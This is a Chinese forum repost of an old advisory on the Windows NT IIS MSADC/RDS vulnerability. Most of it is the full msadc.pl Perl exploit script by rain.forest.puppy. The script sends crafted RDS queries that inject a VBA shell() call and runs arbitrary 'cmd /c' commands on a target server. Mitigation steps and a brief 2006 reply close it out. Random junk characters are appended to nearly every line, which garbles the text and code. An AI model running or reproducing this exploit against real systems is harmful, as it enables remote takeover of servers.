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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) fE;Q:# Z.  
[xaisXvI4  
涉及程序: Z85|I.mr  
Microsoft NT server +=fKT,-*G!  
PZ OKrW  
描述: k W-81  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 `a4 $lyZ  
^R_e  
详细: v Xcy#  
如果你没有时间读详细内容的话,就删除: x>3@R0A 1:  
c:\Program Files\Common Files\System\Msadc\msadcs.dll }T(z4P3  
有关的安全问题就没有了。 6?gi_3g  
8vD3=yK%^  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 j%tEZ"H  
'044Vm;/  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 a6nlt? 1?D  
关于利用ODBC远程漏洞的描述,请参看: &8?`<   
_l&ucA  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm IN!02`H  
v59nw]'  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 l)|lTOjb  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp |*\C{b  
ti_u!kNv  
这里不再论述。 >BoSw&T$Q  
k0ItG?Cv  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: H5M#q6`H6  
P6Xp<^%E  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset `XMM1y>V9>  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! X"/~4\tJ"  
JAP (|  
|63Y >U"  
#将下面这段保存为txt文件,然后: "perl -x 文件名" a$}6:E  
o)I/P<  
#!perl )I9aC~eAD  
# _s>^?x}  
# MSADC/RDS 'usage' (aka exploit) script <GfVMD  
# F`& >NQb  
# by rain.forest.puppy - 9&g[  
# kL;t8{n  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me GX38~pq  
# beta test and find errors! (%DRt4u <H  
RVF F6N^  
use Socket; use Getopt::Std; l,y^HTc}7/  
getopts("e:vd:h:XR", \%args); L@A9{,9Pl  
VGJDqm!  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; |- OHve4A  
cU | _  
if (!defined $args{h} && !defined $args{R}) { (02g#A`  
print qq~ WZ* &@|w  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ^!uO(B&  
-h <host> = host you want to scan (ip or domain) gb-tNhJa@b  
-d <seconds> = delay between calls, default 1 second @ ;J|xkJ  
-X = dump Index Server path table, if available l<N?'&  
-v = verbose ?>?ZAr  
-e = external dictionary file for step 5 4  
2np-Fc{S  
Or a -R will resume a command session eT\p-4b  
J/7 u7_  
~; exit;} (`mOB6j  
\e0x ,2  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ca}S{"  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 8Mb$+^zU  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 6`j<l5-h  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); _z%\'(l+  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} ?>TbT fmR  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } W_D%|Ub2X  
._(z~3s  
if (!defined $args{R}){ $ret = &has_msadc; Cha?7F[xL  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} Esa6hU#  
cJV!> 0ua  
print "Please type the NT commandline you want to run (cmd /c assumed):\n"  p1?J  
. "cmd /c "; u2om5e:  
$in=<STDIN>; chomp $in; L]NYYP-  
$command="cmd /c " . $in ; %\_h7:  
C=EhY+5  
if (defined $args{R}) {&load; exit;} Bf(Mot^  
JrxP,[qJG  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; G`WzJS*}v  
&try_btcustmr; Qv=Bq{N  
(ai72#nFtb  
print "\nStep 2: Trying to make our own DSN..."; lDH_ Y]bM  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; IjgBa-o/V  
;<~j)8  
print "\nStep 3: Trying known DSNs..."; A7e_w 7?a  
&known_dsn;  nFVbQa~  
roL]v\tr  
print "\nStep 4: Trying known .mdbs..."; E.Pje@d  
&known_mdb; -MsuBf  
tUn&z?7bF  
if (defined $args{e}){ f`bIQ9R  
print "\nStep 5: Trying dictionary of DSN names..."; d`<#}-nh  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } vLD:(qTi  
<vO8_2,V-  
print "Sorry Charley...maybe next time?\n"; s+Cl  
exit; Dt (:u,%  
?|gGsm+  
############################################################################## =+k&&vOAn  
.Wd.) ^?  
sub sendraw { # ripped and modded from whisker FC~|&  
sleep($delay); # it's a DoS on the server! At least on mine... )lE3GDAPgZ  
my ($pstr)=@_; ^glbxbhI4  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || vl>_e  
die("Socket problems\n"); zl,bMtQ  
if(connect(S,pack "SnA4x8",2,80,$target)){ {lTR/  
select(S); $|=1; U3(L.8(sA  
print $pstr; my @in=<S>; e=YO.HT  
select(STDOUT); close(S); *yL|}  
return @in; P] {B^,E  
} else { die("Can't connect...\n"); }} hVROzGZk  
'JJ1#kKa  
############################################################################## !Q<8c =f  
F<H`8*q9  
sub make_header { # make the HTTP request =kyJaT^5[  
my $msadc=<<EOT b0rt.XB  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 2M!+gk=+  
User-Agent: ACTIVEDATA G}Q}H*  
Host: $ip )^V5*#69D  
Content-Length: $clen #J'Z5)i|  
Connection: Keep-Alive W ??;4  
8HHgN`_  
ADCClientVersion:01.06 ]Hv*^Bak  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 weTK#O0@v  
./aZV  
--!ADM!ROX!YOUR!WORLD! Cnb[t[hk+j  
Content-Type: application/x-varg :8p2Jxm  
Content-Length: $reqlen l{B< "+8  
]l9,t5Y  
EOT \xa36~hh40  
; $msadc=~s/\n/\r\n/g; bw<~R2[  
return $msadc;} A`+(VzZgJ  
od|N-R  
############################################################################## t*ri`}a{v  
kM6 EZ`mj  
sub make_req { # make the RDS request P:bVcta9g  
my ($switch, $p1, $p2)=@_; +dPE!:  
my $req=""; my $t1, $t2, $query, $dsn; n57c^/A*  
.q~,.yI&j  
if ($switch==1){ # this is the btcustmr.mdb query r!-L`GUm  
$query="Select * from Customers where City=" . make_shell(); q? gQ  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . g&5pfrC [  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} iq[2H$  
PHE;  
elsif ($switch==2){ # this is general make table query 7csl1|U  
$query="create table AZZ (B int, C varchar(10))"; k~W;TCJs  
$dsn="$p1";} z}Mb4{d1  
v/4X[6(  
elsif ($switch==3){ # this is general exploit table query PgGrk5;  
$query="select * from AZZ where C=" . make_shell(); @EH4N%fH  
$dsn="$p1";} l[x`*+ON:2  
WZDokSR  
elsif ($switch==4){ # attempt to hork file info from index server yA`]%U((  
$query="select path from scope()"; l[!C-Tq  
$dsn="Provider=MSIDXS;";} ;Wp`th!F  
` Q!FMv6Y^  
elsif ($switch==5){ # bad query BLYk <m  
$query="select"; $`+~QR!h  
$dsn="$p1";} ;d'O.i=  
7\|NYT4  
$t1= make_unicode($query); &_Xv:?  
$t2= make_unicode($dsn); Qnu&GBM  
$req = "\x02\x00\x03\x00"; ~[bMfkc3  
$req.= "\x08\x00" . pack ("S1", length($t1)); LTlC}3c28f  
$req.= "\x00\x00" . $t1 ; P^d . ,  
$req.= "\x08\x00" . pack ("S1", length($t2)); 1 _:1/~R1  
$req.= "\x00\x00" . $t2 ; z|4@nqqX  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 3YZ3fhpw  
return $req;} z 2EI"'4\9  
@,f,tk=\S  
##############################################################################  +T8XX@#  
hdNZ":1s  
sub make_shell { # this makes the shell() statement @bVh?T0~F,  
return "'|shell(\"$command\")|'";} nms<6kfzL  
4OESsN$O  
############################################################################## 1:~m)"?I_^  
My43\p  
sub make_unicode { # quick little function to convert to unicode MCO$>QL  
my ($in)=@_; my $out; nR|uAw  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Z ysUz  
return $out;} %RR|QY*  
2K7:gd8Ru  
############################################################################## '\vmfp =  
CSg5i&A=  
sub rdo_success { # checks for RDO return success (this is kludge) g he=mQ-  
my (@in) = @_; my $base=content_start(@in); ObHz+qRG  
if($in[$base]=~/multipart\/mixed/){ -<HvhW  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} jwE(]u  
return 0;} sp]y!zb"5  
DB?PS^-2  
############################################################################## *ytd.^@r  
a(t<eN>b!  
sub make_dsn { # this makes a DSN for us J hq5G"  
my @drives=("c","d","e","f"); fw~%^*  
print "\nMaking DSN: "; TKs@?Q,J  
foreach $drive (@drives) { j$i8@]  
print "$drive: "; 9g,L1 W*  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . Q9'V&jm  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" FO)nW:8]  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); F#C6.`B  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; lNp:2P  
return 0 if $2 eq "404"; # not found/doesn't exist `0gK;D8t  
if($2 eq "200") { %!/liS  
foreach $line (@results) { KVe'2Q<  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} QMfy^t+I  
} return 0;} sf&K<C](  
|^9ig_k`  
############################################################################## u KdX4  
4 Fc1 '  
sub verify_exists { 2o7C2)YT$  
my ($page)=@_; f$*9J  
my @results=sendraw("GET $page HTTP/1.0\n\n"); s*U&[7P  
return $results[0];} 3ncvM>~g  
c!FjHlAnP  
############################################################################## [#h!3d|?B  
^RDXX+  
sub try_btcustmr { \}Kp=8@nE  
my @drives=("c","d","e","f"); @z?.P;f9#  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 7^e}|l  
ialk6i![  
foreach $dir (@dirs) { X#C7r@H  
print "$dir -> "; # fun status so you can see progress 'cc4Y~0s  
foreach $drive (@drives) { e<wj5:M|  
print "$drive: "; # ditto nU#q@p)Xg  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ^i k|l=  
$reqlenlen=length( "$reqlen" ); .T>}O0L"  
$clen= 206 + $reqlenlen + $reqlen; S#z8H+'  
^\9G{}VY  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); q`K-T _<  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} Nm.>C4  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} l\y*wr`  
r:Tb{cA  
############################################################################## L#N.pd  
85~h+Q;  
sub odbc_error { =_:L wmI  
my (@in)=@_; my $base; DLM9o3/*J  
my $base = content_start(@in); vrDRSc6_  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this !`U<RlK7  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 6)YNjh.{ *  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; +W4g:bB1  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; U2?gODh'  
return $in[$base+4].$in[$base+5].$in[$base+6];} ZKL%rp_  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; Vb#@o)z  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . \+A<s,x  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} i(kK!7W35  
nU *fne?  
############################################################################## mwhn=y#]*  
SX,z J`"  
sub verbose {  n(1" 6  
my ($in)=@_; (}8 ;3pp  
return if !$verbose; PFw"ICs  
print STDOUT "\n$in\n";} JOq<lb=  
jYZWf `X~  
############################################################################## |O2PcYNu  
YTit=4|  
sub save { /Q_\h+ `  
my ($p1, $p2, $p3, $p4)=@_; T480w6-@  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 0-HE, lv  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; JwczE9~o  
close OUT;} #OTsD+2Za=  
`:4cb $  
############################################################################## rI789 q  
qZ }XjL  
sub load { A 6L}5#7-  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; [{*#cr f  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); #"JU39e  
@p=<IN>; close(IN); 'a*IZb-M  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); k 'b|#c9c  
$target= inet_aton($ip) || die("inet_aton problems"); +rY0/T_0,  
print "Resuming to $ip ..."; C%>7mz-v5  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 6iWuBsal  
if($p[1]==1) { /B7 GH5  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; `s$@6r$  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ]H[\~J  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); |L&V-f&K  
if (rdo_success(@results)){print "Success!\n";} .zt]R@@6  
else { print "failed\n"; verbose(odbc_error(@results));}} 5?MvO]_  
elsif ($p[1]==3){ -;*Z!|e9  
if(run_query("$p[3]")){ /K<Nlxcm  
print "Success!\n";} else { print "failed\n"; }} swA"_A8>u  
elsif ($p[1]==4){ p]oo^  
if(run_query($drvst . "$p[3]")){ Hf iM]^  
print "Success!\n"; } else { print "failed\n"; }} oJ+$&P(  
exit;} opC11c/  
gjV&X N  
############################################################################## \tqAv'jA|  
BoqW;SG$9  
sub create_table { H5{J2M,f  
my ($in)=@_; oH0\6:S  
$reqlen=length( make_req(2,$in,"") ) - 28; ~^*tIIOX  
$reqlenlen=length( "$reqlen" ); zZHsS$/  
$clen= 206 + $reqlenlen + $reqlen; z-j\S7F  
my @results=sendraw(make_header() . make_req(2,$in,"")); G#Ow>NJ  
return 1 if rdo_success(@results); @:I/lg=Qd  
my $temp= odbc_error(@results); verbose($temp); HPQ,tlp6j  
return 1 if $temp=~/Table 'AZZ' already exists/; ngjbE+  
return 0;} 9P$'ON'"  
$7,dKC &  
############################################################################## 6>Y}2fT}o3  
6eD[)_?]y  
sub known_dsn { #a&Vx&7L  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go :\Z0^{  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", T Bco  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", :jPAA`,  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); GZw<Y+/V"5  
)94R\f  
foreach $dSn (@dsns) { Yq_zlxd%F  
print "."; i=4bY[y  
next if (!is_access("DSN=$dSn")); 1jyWP#M#  
if(create_table("DSN=$dSn")){ iR-O6*PTC  
print "$dSn successful\n"; ".u?-xcbJ  
if(run_query("DSN=$dSn")){ ^:#%TCJ  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { $4"OD"Z Cq  
print "Something's borked. Use verbose next time\n";}}} print "\n";} L!Ro`6|7;  
`6A"e Da  
############################################################################## PD?H5W3@  
>X F@=J p  
sub is_access { KlPH.R3MPO  
my ($in)=@_; i469<^A  
$reqlen=length( make_req(5,$in,"") ) - 28; cg~FW2Q  
$reqlenlen=length( "$reqlen" ); UnPSJ]VW  
$clen= 206 + $reqlenlen + $reqlen; ?>_.~b ~  
my @results=sendraw(make_header() . make_req(5,$in,"")); KK+Mxoj,  
my $temp= odbc_error(@results); Fi#t88+1  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); Oq("E(z+f  
return 0;} e.T5F`Du  
 -<sXvn  
##############################################################################  xOT3>$  
&~& i >  
sub run_query { 5?O"N  
my ($in)=@_; #FcYJH  
$reqlen=length( make_req(3,$in,"") ) - 28; ~-6;h.x=  
$reqlenlen=length( "$reqlen" ); .^uu* S_  
$clen= 206 + $reqlenlen + $reqlen; ,P|PPx%@  
my @results=sendraw(make_header() . make_req(3,$in,"")); ivm.ng[  
return 1 if rdo_success(@results); "@n$(-.  
my $temp= odbc_error(@results); verbose($temp); f t7wMi  
return 0;} C{) )T5G  
'e*C^(6  
############################################################################## !qR(Rn  
pmS=$z;I  
sub known_mdb { /sai}r 1  
my @drives=("c","d","e","f","g"); R Q 8okA  
my @dirs=("winnt","winnt35","winnt351","win","windows"); S("bN{7nE  
my $dir, $drive, $mdb; LF0~H}S;6B  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; DlP}Fp{  
CUG6|qu  
# this is sparse, because I don't know of many QZ6M,\  
my @sysmdbs=( "\\catroot\\icatalog.mdb", xQ[YQ!l  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ZoUfQ!2*  
"\\system32\\certmdb.mdb", 5E@V@kw  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% jsR1jou6  
6f?DW-)jp/  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", DW-LkgfA  
"\\cfusion\\cfapps\\forums\\forums_.mdb",  84{<]y  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb",  v/.2Z(sZ  
"\\cfusion\\cfapps\\security\\realm_.mdb", Wp'\NFe 8  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ,9rT|:N  
"\\cfusion\\database\\cfexamples.mdb", LOA 90.D  
"\\cfusion\\database\\cfsnippets.mdb", vfjIpg%i  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 1pn167IQL  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", i~2>kxf;K1  
"\\cfusion\\brighttiger\\database\\cleam.mdb", gk&?h7P"<  
"\\cfusion\\database\\smpolicy.mdb", \yxr@z1_b  
"\\cfusion\\database\cypress.mdb", YZk&'w  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", P.wINo  
"\\website\\cgi-win\\dbsample.mdb", pM=vW{"I/  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ;(afz?T  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" XBc+_=)$  
); #these are just J+TYm%A;-  
foreach $drive (@drives) { v!x[1[  
foreach $dir (@dirs){ =_XcG!"  
foreach $mdb (@sysmdbs) { &Ls0!dWC  
print "."; Q.fBuF  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ |QY+vO7fxj  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; x:2_FoQ  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ i.< }X  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; Ik,w3}*P*  
} else { print "Something's borked. Use verbose next time\n"; }}}}} j]P|iL  
_% P%~`?!  
foreach $drive (@drives) { 48DsRy  
foreach $mdb (@mdbs) { rS jC/O&b  
print "."; 52~k:"c  
if(create_table($drv . $drive . $dir . $mdb)){ ZN?(lt)u9  
print "\n" . $drive . $dir . $mdb . " successful\n"; T>z@;5C  
if(run_query($drv . $drive . $dir . $mdb)){ C }[u[)  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;  2AluH8X/  
} else { print "Something's borked. Use verbose next time\n"; }}}} J h"]iN  
} i^> RjR  
c:iMbJOn#  
############################################################################## +VeLd+Q}  
C+iP @~  
sub hork_idx { OY)x Kca  
print "\nAttempting to dump Index Server tables...\n"; 3aOFpCs|#  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; L`!sV-.  
$reqlen=length( make_req(4,"","") ) - 28; |N g[^  
$reqlenlen=length( "$reqlen" ); v ipmzg(S  
$clen= 206 + $reqlenlen + $reqlen; A~6 Cs  
my @results=sendraw2(make_header() . make_req(4,"","")); Glwpu-@X  
if (rdo_success(@results)){ zf!c  
my $max=@results; my $c; my %d; &a:aW;^A7  
for($c=19; $c<$max; $c++){ #Z.JOwi  
$results[$c]=~s/\x00//g; E|TzrH  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 3ty){#:  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; :K~7BJ(HO  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; wVvU]UT  
$d{"$1$2"}="";} *vb)d0}P  
foreach $c (keys %d){ print "$c\n"; } Xnh1pwDhe<  
} else {print "Index server doesn't seem to be installed.\n"; }} A1_x^s  
Y}6)jzBV  
############################################################################## -7`J(f.rYC  
aJF`rLm  
sub dsn_dict { `MD/C Fl4  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); Bb o*  
while(<IN>){ ,..b)H5n  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; V1fPH;  
next if (!is_access("DSN=$dSn")); ;CW$/^QNr5  
if(create_table("DSN=$dSn")){ @|@43}M]C-  
print "$dSn successful\n"; zk]~cG5dT/  
if(run_query("DSN=$dSn")){ YszhoHYh  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ?/wloLS47  
print "Something's borked. Use verbose next time\n";}}} W1s|7  
print "\n"; close(IN);} a$GKrc,z  
jDnh/k0{d  
############################################################################## V;V9_qP,  
@^e@.)  
sub sendraw2 { # ripped and modded from whisker %F~ dmA#:  
sleep($delay); # it's a DoS on the server! At least on mine... #&Ee5xM=  
my ($pstr)=@_; tFwlx3  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || `et<Z  
die("Socket problems\n"); QKO(8D6+  
if(connect(S,pack "SnA4x8",2,80,$target)){ #cs!`Ngb+  
print "Connected. Getting data"; j7d;1 zB+G  
open(OUT,">raw.out"); my @in; (tgaH,G  
select(S); $|=1; print $pstr; }FXRp=s  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 4Bn+L,}.  
close(OUT); select(STDOUT); close(S); return @in; *E]\l+]J  
} else { die("Can't connect...\n"); }} -O5m@rwt<  
@o ED tN  
############################################################################## El%(je,|  
_X[c19q  
sub content_start { # this will take in the server headers k-U/x"Pl  
my (@in)=@_; my $c; \a!<^|C&  
for ($c=1;$c<500;$c++) { X&IY(CX  
if($in[$c] =~/^\x0d\x0a/){ UU/|s>F  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } J[l K  
else { return $c+1; }}} N[-)c,O  
return -1;} # it should never get here actually }>w4!  
LPO" K"'w  
############################################################################## kQ8WO|bA  
7L*`nU|h  
sub funky { @jHio\/_  
my (@in)=@_; my $error=odbc_error(@in); #7=LI\  
if($error=~/ADO could not find the specified provider/){ =S,<yQJ  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; gISs+g  
exit;} i'<1xd(`  
if($error=~/A Handler is required/){ WQx;tX  
print "\nServer has custom handler filters (they most likely are patched)\n"; RHbwq]  
exit;} 9[D7N  
if($error=~/specified Handler has denied Access/){ 0^[6  
print "\nServer has custom handler filters (they most likely are patched)\n"; ,)1e+EnV&  
exit;}} 7W"menw  
B*IDx`^Y  
############################################################################## ;>N ~ ,Q  
Y>~JI;Cu`  
sub has_msadc { }^7V^W  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); /5Loj&!=  
my $base=content_start(@results); Oe`t!&v  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ^~l<N@  
return 0;} )v~]lk,o  
I.!/R`  
######################## Hea<!zPH  
!`lqWO_/ :  
*\",  qMp  
解决方案: 5eA]7$ic  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll EB<q.  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 <|3v@  
7G/|e24  
拿出来充数 哈哈
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